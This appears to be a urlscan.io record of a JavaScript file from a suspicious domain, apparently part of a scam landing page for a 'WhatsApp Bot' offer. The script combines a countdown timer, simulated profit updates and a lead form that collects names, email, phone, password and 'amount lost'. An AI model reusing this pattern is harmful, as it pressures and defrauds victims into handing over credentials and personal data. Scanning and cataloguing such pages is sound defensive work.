wask.brokaws.top Open in urlscan Pro
179.43.140.34  Public Scan

Submitted URL: http://wask.brokaws.top/src/js/timer.js
Effective URL: https://wask.brokaws.top/src/js/timer.js
Submission: On August 06 via api from US — Scanned from CH

Form analysis 0 forms found in the DOM

Text Content

let elemTimer = document.querySelector('.footer')
let time = 180
let intr
function tick() {
	time = time - 1
	let mins = Math.floor(time / 60)
	let secs = time - mins * 60
	if (mins == 0 && secs == 0) {
		clearInterval(intr)
	}
	secs = secs >= 10 ? secs : '0' + secs

	let min = document.getElementById('min')
	min.innerHTML = mins

	let sec = document.getElementById('sec')
	sec.innerHTML = secs
}

function start_timer() {
	elemTimer.classList.remove('hidden')
	intr = setInterval(tick, 1000)
}

window.setInterval(randomUpdate, 600)
document.getElementById('button_next').addEventListener('click', function () {
	window.setInterval(updateProfit, 1200)
	window.setTimeout(openLeadForm, 7000)
})

const config = {
	offer: 'WhatsApp Bot',
	settingIti: {
		autoPlaceholder: false,
		autoHideDialCode: false,
		preferredCountries: ['AT', 'BE', 'CH'],
		separateDialCode: true,
		formatOnDisplay: true,
		formatOnDisplay: false,
		initialCountry: 'auto',
		hiddenInput: 'full_number',
		nationalMode: false,
		placeholderNumberType: 'MOBILE',
	},

	settingObjForm: {
		postParams: {
			first_name: '',
			last_name: '',
			email: '',
			phone: '',
			ftype: '',
			famount_lost: '',
			country_code: '',
			password: '',
			comment: '',
			offer: 'WhatsApp Bot',
			_setParams: function (answers, password) {
				this.first_name = document.querySelector('input[name="name"]').value
				this.last_name = document.querySelector('input[name="last_name"]').value
				this.email = document.querySelector('input[name="email"]').value
				this.country_code = document.querySelector('input[name="code"]').value
				this.password = password
				this.comment = answers
			},
		},
	},
}

function getRandomInt(max) {
	return Math.floor(Math.random() * max)
}